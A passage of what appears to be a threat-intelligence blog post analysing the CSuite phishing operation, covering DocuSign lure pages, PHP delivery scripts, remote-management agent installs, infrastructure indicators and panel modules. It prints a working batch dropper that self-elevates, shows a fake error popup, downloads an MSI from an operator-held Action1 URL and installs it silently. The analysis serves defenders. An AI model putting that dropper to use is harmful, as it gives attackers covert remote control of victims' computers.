https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The decoy proposal, rendered and blurred <\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>e-sign.php<\/strong> carries DocuSign branding, an inline vector logo and a single instruction, \u201cOpen the downloaded attachment on your computer\u201d, behind a button that calls download.php. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-1024x578.jpeg\" alt=\"The DocuSign-branded download page \" class=\"wp-image-23241\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-phish.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The DocuSign-branded download page <\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>download.php <\/strong>handles delivery and the second report. It picks between a local file and a remote link on one flag, resolves the client address through Cloudflare headers before falling back to the socket address, classifies device and browser from the user agent, sends a \u201cDocuSign Download Alert\u201d, then flushes the output buffers and streams the installer with attachment headers: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$USE_LOCAL_DOWNLOAD = true; \/\/ true = file download, false = link download \n$localFile = $USE_LOCAL_DOWNLOAD ? __DIR__ . '\/files\/DocusignEditSetup.msi' : ''; \n$ip = $_SERVER&#091;'HTTP_CF_CONNECTING_IP'] \n    ?? $_SERVER&#091;'HTTP_X_FORWARDED_FOR'] \n    ?? $_SERVER&#091;'REMOTE_ADDR'] \n    ?? 'Unknown'; <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>settings.php <\/strong>holds the reporting credentials and the send routine, and it guards itself against being fetched directly: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (basename(__FILE__) == basename($_SERVER&#091;\"SCRIPT_FILENAME\"])) { \n    http_response_code(403); \n    exit(\"Access denied.\"); \n} <\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Installing the Agent: Four Methods, One Outcome <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Every chain in this cluster ends the same way: a legitimate remote-management or device-management agent installed on the machine and registered to a tenant the operator holds. The tag row on the pivot query reads as a product catalogue on its own: screenconnect, connectwise, datto, action1, logmeinrescue, fleetdeck, simplehelp and ultravnc. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-389\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"5\"\n           data-wpID=\"389\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Method\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Example\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        What the victim does\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Installer inside an archive\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AdobePdf_Reader.zip, 9.8 MB, holdingScreenConnect.ClientSetup.msi, 10.2 MB\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Extracts the archive and runs the installer, following the instructions on the page\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Installer served directly\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        pdf_Reader_en_install.msiand\u00a0DocusignEditSetup.msifrom\u00a0localcontex[.]online\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Opens the file straight from the download folder\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Batch script fetching from a code-hosting repository\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        324-byte\u00a0NMLS 2026 Updated Agreement.bat\u00a0calling\u00a0msiexec\/i\u00a0on agithub[.]com\/Ivan3900\/...raw URL\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Runs the script and clears one elevation prompt\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Simple dropper staging the installer\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1.1 KB\u00a0.bat\u00a0or\u00a0.vbs\u00a0that writes the package to the temporary directory and calls\u00a0msiexec\/qn\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Runs the script; a fake error popup covers the install\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-389'>\ntable#wpdtSimpleTable-389{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-389 td, table.wpdtSimpleTable389 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">What changes between campaigns is how the installer gets onto the disk, and there are four ways in use. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"825\" height=\"833\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution.png\" alt=\"ANY.RUN Sandbox Process tree with ScreenConnect detection\t \" class=\"wp-image-23243\" style=\"width:613px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution.png 825w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-297x300.png 297w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-150x150.png 150w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-768x775.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-70x70.png 70w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-370x374.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-270x273.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/screenconnect-execution-740x747.png 740w\" sizes=\"auto, (max-width: 825px) 100vw, 825px\" \/><figcaption class=\"wp-element-caption\"> <br><em>ANY.RUN Sandbox Process tree with ScreenConnect detection<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The client that lands most often is a ScreenConnect build. Installation does three things that push the outcome past ordinary remote access: a credential provider is registered, so the operator sees the interactive logon; an authentication package is appended to LSA, which loads attacker code into the authentication path at boot; and the service is registered to start in safe mode with networking, so it survives the first thing an administrator usually tries.  <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Script Droppers <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Two generations of script dropper run alongside the archives. The newer one is the 324-byte batch file shown earlier: an fltmc check for administrative rights, a PowerShell relaunch through UAC, andmsiexec pointed straight at a raw URL on the group\u2019s code-hosting account. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The older generation is 1.1 KB and stages the package itself. It ships as Adobe Installer V3572.bat, Updated Service Agreement 2026.bat and Update_6779.bat; the three are one file with the variable names, the console title, the temporary filenames and the download URL swapped: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>:: --- Self-elevate (UAC prompt right after the brief CMD flash) --- \nnet session &gt;nul 2&gt;&amp;1 \nif %errorLevel% NEQ 0 ( \n    powershell -WindowStyle Hidden -Command \"Start-Process '%~f0' -Verb RunAs\" \n    exit \/b \n) \n:: --- Write a tiny VBS so the fake popup auto-times-out --- \n&gt; \"%kdpS%\" echo Set s = CreateObject(\"WScript.Shell\") \n&gt;&gt;\"%kdpS%\" echo s.Popup \"Unexpected error. The operation will retry.\", 4, \"Application Error\", 48 \nstart \"\" wscript.exe \"%kdpS%\" \n:: --- Download the MSI via PowerShell WebClient --- \npowershell -WindowStyle Hidden -Command \"(New-Object Net.WebClient).DownloadFile('https:\/\/app.action1.com\/agent\/5c2cda44-433f-11f1-9ef8-332f425c6d9a\/Windows\/agent(My_Organization).msi', '%LbiAu%')\" \n:: --- Install silently (blocks until msiexec finishes) --- \nif exist \"%LbiAu%\" msiexec \/i \"%LbiAu%\" \/qn \ntimeout \/t 5 \/nobreak &gt;nul \ndel \"%LbiAu%\" \/q &gt;nul 2&gt;&amp;1 \ndel \"%kdpS%\" \/q &gt;nul 2&gt;&amp;1 <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">A four-second Application Error popup, written out as a throwaway VBS so that it dismisses itself, covers the seconds while the agent installs, and both temporary files are deleted afterwards. The three copies fetch from three different places: the operator\u2019s own Action1 tenant on the vendor\u2019s cloud, an R2 bucket, and a self-hosted ScreenConnect server at 64.204.180[.]203:8040 addressed as\/Bin\/Adobe.ClientSetup.msi?e=Access&amp;y=Guest. The temporary names are chosen to read as maintenance \u2014 patch651.msi, patch495.msi, svchost805.vbs \u2014 and the console title is always Update_ and four digits. The VBS variant of the same dropper, Amended_Agreement 02026.vbs, assembles the same msiexec command line as a string. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The affiliate behind lure page B runs four more lure lines from arubanetworks-inc[.]com and sharepointer-dr[.]com, all reporting to the same endpoint. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-388\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"5\"\n           data-wpID=\"388\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Lure\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Path\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Payload observed\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        DocuSign\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \/DocuSign\/\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        DocuSign.vbs,DocuSign_Setup.exe\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Google Meet\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \/Meeting\/,\/Meeting\/Windows\/\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GoogleMeet.vbs,GoogleMeet_Setup.exe\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Zoom workspace\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \/ZoomWorkspace\/,\/ZoomWorkspace\/Windows\/\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ZoomWorkspace.vbs\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Dropbox document\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        \/dropbox\/create.html,\u00a0\/dropbox\/csm.html\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Q4ForecastReportvFinal.PdF.vbs\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-388'>\ntable#wpdtSimpleTable-388{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-388 td, table.wpdtSimpleTable388 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">The DocuSign line alone recorded 124 page visits and 63 payload downloads between 30 July and 11 August 2026.  <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Network Infrastructure <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Operator\u2019s Lure pages and payloads sit on one hosting on a server fronted by greenbullet[.]ba. Four certificates issued on one day, 4 August 2026, cover gddfzxa[.]online, ghs.coorpes[.]com,greaterheights[.]sbs and mmswerod[.]sbs, and nothing on the account belongs to a legitimate business: three of those four names have no prior record anywhere, and the fourth is the random-string domain that serves the lures. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-387\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"10\"\n           data-wpID=\"387\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Host or address\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Role\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        gddfzxa[.]online\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure pages and payload archives; also listed in the panel domain registry\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ghs.coorpes[.]com,greaterheights[.]sbs,mmswerod[.]sbs\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Certificates on the same hosting\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        emsafetoproceedtaward[.]top\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure domain, registered 7 August 2026\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        maillive[.]sbs\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Panel administration host and device-code landing page\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        arubanetworks-inc[.]com,sharepointer-dr[.]com\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        DocuSign, Meeting, Zoom and Dropbox lure lines\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        stubborn-academy[.]icu\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Address validator\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        corporate-sync-gate[.]net,\u00a0legacy-bridge-node[.]net\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Post-capture redirects; the second is shared between two panels\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        207.189.19[.]40:26688\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Remote-desktop foothold used for hands-on work\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        185.174.102[.]34\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GSuite\u00a0panel\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-387'>\ntable#wpdtSimpleTable-387{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-387 td, table.wpdtSimpleTable387 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">Two things in this layer outlast everything else. The shared script path survived seven months of domain rotation, and the remote-management tenant identifier is fixed per build, so it marks every host the group installs on. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Attribution <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Several parts of the investigation point back to the same operating environment, including shared infrastructure, delivery tooling, panel domains, and operator-controlled accounts. Together, these links connect the phishing, session-capture, and remote-access activity to the operation tracked here as CSuite. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CSuite v1.1 <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The panel calls itself CSuite v1.1 and administers itself from, for example, maillive[.]sbs, which doubles as a device-code landing page. It carries 23 modules. The ones that matter: <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-386\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"12\"\n           data-wpID=\"386\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Module\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Function\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Recorded state\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Sessions\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Live capture and reuse of Office 365 sessions, grouped by working tag\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        29 total, 12 active, 2 polling, 15 dead\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Adobe Sender\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Distribution of lure documents from hijacked Adobe Document Cloud tenants\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1,593 documents dispatched, 1 active connection\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Chameleon\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Per-domain credential harvesters, each with its own notification recipient and collect mode\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Two live domains, 12 clicks on the first\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Offline File Generator\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                